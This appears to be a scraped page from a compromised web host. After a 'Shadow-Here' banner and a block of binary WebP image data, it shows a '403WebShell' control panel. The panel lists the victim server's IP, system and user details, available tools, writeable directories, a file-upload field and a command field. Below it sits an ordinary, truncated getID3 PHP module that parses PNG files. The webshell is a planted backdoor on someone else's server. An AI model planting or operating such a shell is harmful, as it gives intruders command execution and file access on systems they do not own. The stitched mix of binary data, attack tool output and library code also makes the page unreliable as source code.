....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/www/plugins-dist/medias/lib/getid3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/uneseuleoc/www/plugins-dist/medias/lib/getid3/module.graphic.png.php
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.graphic.png.php                                      //
// module for analyzing PNG Image files                        //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_png extends getid3_handler
{
	/**
	 * If data chunk is larger than this do not read it completely (getID3 only needs the first
	 * few dozen bytes for parsing).
	 *
	 * @var int
	 */
	public $max_data_bytes = 10000000;

	/**
	 * @return bool
	 */
	public function Analyze() {

		$info = &$this->getid3->info;

		// shortcut
		$info['png'] = array();
		$thisfile_png = &$info['png'];

		$info['fileformat']          = 'png';
		$info['video']['dataformat'] = 'png';
		$info['video']['lossless']   = false;

		$this->fseek($info['avdataoffset']);
		$PNGfiledata = $this->fread($this->getid3->fread_buffer_size());
		$offset = 0;

		$PNGidentifier = substr($PNGfiledata, $offset, 8); // $89 $50 $4E $47 $0D $0A $1A $0A
		$offset += 8;

		if ($PNGidentifier != "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
			$this->error('First 8 bytes of file ('.getid3_lib::PrintHexBytes($PNGidentifier).') did not match expected PNG identifier');
			unset($info['fileformat']);
			return false;
		}

		while ((($this->ftell() - (strlen($PNGfiledata) - $offset)) < $info['filesize'])) {
			$chunk = array();
			$chunk['data_length'] = getid3_lib::BigEndian2Int(substr($PNGfiledata, $offset, 4));
			if ($chunk['data_length'] === false) {
				$this->error('Failed to read data_length at offset '.$offset);
				return false;
			}
			$offset += 4;
			$truncated_data = false;
			while (((strlen($PNGfiledata) - $offset) < ($chunk['data_length'] + 4)) && ($this->ftell() < $info['filesize'])) {
				if (strlen($PNGfiledata) < $this->max_data_bytes) {
					$str = $this->fread($this->getid3->fread_buffer_size());
					if (strlen($str) > 0) {
						$PNGfiledata .= $str;
					} else {
						$this->warning('At offset '.$offset.' chunk "'.substr($PNGfiledata, $offset, 4).'" no more data to read, data chunk will be truncated at '.(strlen($PNGfiledata) - 8).' bytes');
						break;
					}
				} else {
					$this->warning('At offset '.$offset.' chunk "'.substr($PNGfiledata, $offset, 4).'" exceeded max_data_bytes value of '.$this->max_data_bytes.', data chunk will be truncated at '.(strlen($PNGfiledata) - 8).' bytes');
					break;
				}
			}
			$chunk['type_text']   =                           substr($PNGfiledata, $offset, 4);
			$offset += 4;
			$chunk['type_raw']    = getid3_lib::BigEndian2Int($chunk['type_text']);
			$chunk['data']        =                           substr($PNGfiledata, $offset, $chunk['data_length']);
			$offset += $chunk['data_length'];
			$chunk['crc']         = getid3_lib::BigEndian2Int(substr($PNGfiledata, $offset, 4));
			$offset += 4;

			$chunk['flags']['ancilliary']   = (bool) ($chunk['type_raw'] & 0x20000000);
			$chunk['flags']['private']      = (bool) ($chunk['type_raw'] & 0x00200000);
			$chunk['flags']['reserved']     = (bool) ($chunk['type_raw'] & 0x00002000);
			$chunk['flags']['safe_to_copy'] = (bool) ($chunk['type_raw'] & 0x00000020);

			// shortcut
			$thisfile_png[$chunk['type_text']] = array();
			$thisfile_png_chunk_type_text = &$thisfile_png[$chunk['type_text']];

			switch ($chunk['type_text']) {

				case 'IHDR': // Image Header
					$thisfile_png_chunk_type_text['header'] = $chunk;
					$thisfile_png_chunk_type_text['width']                     = getid3_lib::BigEndian2Int(substr($chunk['data'],  0, 4));
					$thisfile_png_chunk_type_text['height']                    = getid3_lib::BigEndian2Int(substr($chunk['data'],  4, 4));
					$thisfile_png_chunk_type_text['raw']['bit_depth']          = getid3_lib::BigEndian2Int(substr($chunk['data'],  8, 1));
					$thisfile_png_chunk_type_text['raw']['color_type']         = getid3_lib::BigEndian2Int(substr($chunk['data'],  9, 1));
					$thisfile_png_chunk_type_text['raw']['compression_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 10, 1));
					$thisfile_png_chunk_type_text['raw']['filter_method']      = getid3_lib::BigEndian2Int(substr($chunk['data'], 11, 1));
					$thisfile_png_chunk_type_text['raw']['interlace_method']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 1));

					$thisfile_png_chunk_type_text['compression_method_text']   = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['raw']['compression_method']);
					$thisfile_png_chunk_type_text['color_type']['palette']     = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x01);
					$thisfile_png_chunk_type_text['color_type']['true_color']  = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x02);
					$thisfile_png_chunk_type_text['color_type']['alpha']       = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x04);

					$info['video']['resolution_x']    = $thisfile_png_chunk_type_text['width'];
					$info['video']['resolution_y']    = $thisfile_png_chunk_type_text['height'];

					$info['video']['bits_per_sample'] = $this->IHDRcalculateBitsPerSample($thisfile_png_chunk_type_text['raw']['color_type'], $thisfile_png_chunk_type_text['raw']['bit_depth']);
					break;


				case 'PLTE': // Palette
					$thisfile_png_chunk_type_text['header'] = $chunk;
					$paletteoffset = 0;
					for ($i = 0; $i <= 255; $i++) {
						//$thisfile_png_chunk_type_text['red'][$i]   = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1));
						//$thisfile_png_chunk_type_text['green'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1));
						//$thisfile_png_chunk_type_text['blue'][$i]  = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1));
						$red   = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1));
						$green = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1));
						$blue  = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1));
						$thisfile_png_chunk_type_text[$i] = (($red << 16) | ($green << 8) | ($blue));
					}
					break;


				case 'tRNS': // Transparency
					$thisfile_png_chunk_type_text['header'] = $chunk;
					switch ($thisfile_png['IHDR']['raw']['color_type']) {
						case 0:
							$thisfile_png_chunk_type_text['transparent_color_gray']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2));
							break;

						case 2:
							$thisfile_png_chunk_type_text['transparent_color_red']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2));
							$thisfile_png_chunk_type_text['transparent_color_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 2));
							$thisfile_png_chunk_type_text['transparent_color_blue']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 2));
							break;

						case 3:
							for ($i = 0; $i < strlen($chunk['data']); $i++) {
								$thisfile_png_chunk_type_text['palette_opacity'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $i, 1));
							}
							break;

						case 4:
						case 6:
							$this->error('Invalid color_type in tRNS chunk: '.$thisfile_png['IHDR']['raw']['color_type']);
							break;

						default:
							$this->warning('Unhandled color_type in tRNS chunk: '.$thisfile_png['IHDR']['raw']['color_type']);
							break;
					}
					break;


				case 'gAMA': // Image Gamma
					$thisfile_png_chunk_type_text['header'] = $chunk;
					$thisfile_png_chunk_type_text['gamma']  = getid3_lib::BigEndian2Int($chunk['data']) / 100000;
					break;


				case 'cHRM': // Primary Chromaticities
					$thisfile_png_chunk_type_text['header']  = $chunk;
					$thisfile_png_chunk_type_text['white_x'] = getid3_lib::BigEndian2Int(substr($chunk['data'],  0, 4)) / 100000;
					$thisfile_png_chunk_type_text['white_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'],  4, 4)) / 100000;
					$thisfile_png_chunk_type_text['red_y']   = getid3_lib::BigEndian2Int(substr($chunk['data'],  8, 4)) / 100000;
					$thisfile_png_chunk_type_text['red_y']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 4)) / 100000;
					$thisfile_png_chunk_type_text['green_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 16, 4)) / 100000;
					$thisfile_png_chunk_type_text['green_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 20, 4)) / 100000;
					$thisfile_png_chunk_type_text['blue_y']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 24, 4)) / 100000;
					$thisfile_png_chunk_type_text['blue_y']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 28, 4)) / 100000;
					break;


				case 'sRGB': // Standard RGB Color Space
					$thisfile_png_chunk_type_text['header']                 = $chunk;
					$thisfile_png_chunk_type_text['reindering_intent']      = getid3_lib::BigEndian2Int($chunk['data']);
					$thisfile_png_chunk_type_text['reindering_intent_text'] = $this->PNGsRGBintentLookup($thisfile_png_chunk_type_text['reindering_intent']);
					break;


				case 'iCCP': // Embedded ICC Profile
					$thisfile_png_chunk_type_text['header']                  = $chunk;
					list($profilename, $compressiondata)                     = explode("\x00", $chunk['data'], 2);
					$thisfile_png_chunk_type_text['profile_name']            = $profilename;
					$thisfile_png_chunk_type_text['compression_method']      = getid3_lib::BigEndian2Int(substr($compressiondata, 0, 1));
					$thisfile_png_chunk_type_text['compression_profile']     = substr($compressiondata, 1);

					$thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']);
					break;


				case 'tEXt': // Textual Data
					$thisfile_png_chunk_type_text['header']  = $chunk;
					list($keyword, $text) = explode("\x00", $chunk['data'], 2);
					$thisfile_png_chunk_type_text['keyword'] = $keyword;
					$thisfile_png_chunk_type_text['text']    = $text;

					$thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text'];
					break;


				case 'zTXt': // Compressed Textual Data
					$thisfile_png_chunk_type_text['header']                  = $chunk;
					list($keyword, $otherdata)                               = explode("\x00", $chunk['data'], 2);
					$thisfile_png_chunk_type_text['keyword']                 = $keyword;
					$thisfile_png_chunk_type_text['compression_method']      = getid3_lib::BigEndian2Int(substr($otherdata, 0, 1));
					$thisfile_png_chunk_type_text['compressed_text']         = substr($otherdata, 1);
					$thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']);
					switch ($thisfile_png_chunk_type_text['compression_method']) {
						case 0:
							$thisfile_png_chunk_type_text['text']            = gzuncompress($thisfile_png_chunk_type_text['compressed_text']);
							break;

						default:
							// unknown compression method
							break;
					}

					if (isset($thisfile_png_chunk_type_text['text'])) {
						$thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text'];
					}
					break;


				case 'iTXt': // International Textual Data
					$thisfile_png_chunk_type_text['header']                  = $chunk;
					list($keyword, $otherdata)                               = explode("\x00", $chunk['data'], 2);
					$thisfile_png_chunk_type_text['keyword']                 = $keyword;
					$thisfile_png_chunk_type_text['compression']             = (bool) getid3_lib::BigEndian2Int(substr($otherdata, 0, 1));
					$thisfile_png_chunk_type_text['compression_method']      = getid3_lib::BigEndian2Int(substr($otherdata, 1, 1));
					$thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']);
					list($languagetag, $translatedkeyword, $text)                        = explode("\x00", substr($otherdata, 2), 3);
					$thisfile_png_chunk_type_text['language_tag']            = $languagetag;
					$thisfile_png_chunk_type_text['translated_keyword']      = $translatedkeyword;

					if ($thisfile_png_chunk_type_text['compression']) {

						switch ($thisfile_png_chunk_type_text['compression_method']) {
							case 0:
								$thisfile_png_chunk_type_text['text']        = gzuncompress($text);
								break;

							default:
								// unknown compression method
								break;
						}

					} else {

						$thisfile_png_chunk_type_text['text']                = $text;

					}

					if (isset($thisfile_png_chunk_type_text['text'])) {
						$thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text'];
					}
					break;


				case 'bKGD': // Background Color
					$thisfile_png_chunk_type_text['header']                   = $chunk;
					switch ($thisfile_png['IHDR']['raw']['color_type']) {
						case 0:
						case 4:
							$thisfile_png_chunk_type_text['background_gray']  = getid3_lib::BigEndian2Int($chunk['data']);
							break;

						case 2:
						case 6:
							$thisfile_png_chunk_type_text['background_red']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 0 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth']));
							$thisfile_png_chunk_type_text['background_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth']));
							$thisfile_png_chunk_type_text['background_blue']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 2 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth']));
							break;

						case 3:
							$thisfile_png_chunk_type_text['background_index'] = getid3_lib::BigEndian2Int($chunk['data']);
							break;

						default:
							break;
					}
					break;


				case 'pHYs': // Physical Pixel Dimensions
					$thisfile_png_chunk_type_text['header']                 = $chunk;
					$thisfile_png_chunk_type_text['pixels_per_unit_x']      = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4));
					$thisfile_png_chunk_type_text['pixels_per_unit_y']      = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4));
					$thisfile_png_chunk_type_text['unit_specifier']         = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1));
					$thisfile_png_chunk_type_text['unit']                   = $this->PNGpHYsUnitLookup($thisfile_png_chunk_type_text['unit_specifier']);
					break;


				case 'sBIT': // Significant Bits
					$thisfile_png_chunk_type_text['header'] = $chunk;
					switch ($thisfile_png['IHDR']['raw']['color_type']) {
						case 0:
							$thisfile_png_chunk_type_text['significant_bits_gray']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1));
							break;

						case 2:
						case 3:
							$thisfile_png_chunk_type_text['significant_bits_red']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1));
							$thisfile_png_chunk_type_text['significant_bits_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1));
							$thisfile_png_chunk_type_text['significant_bits_blue']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1));
							break;

						case 4:
							$thisfile_png_chunk_type_text['significant_bits_gray']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1));
							$thisfile_png_chunk_type_text['significant_bits_alpha'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1));
							break;

						case 6:
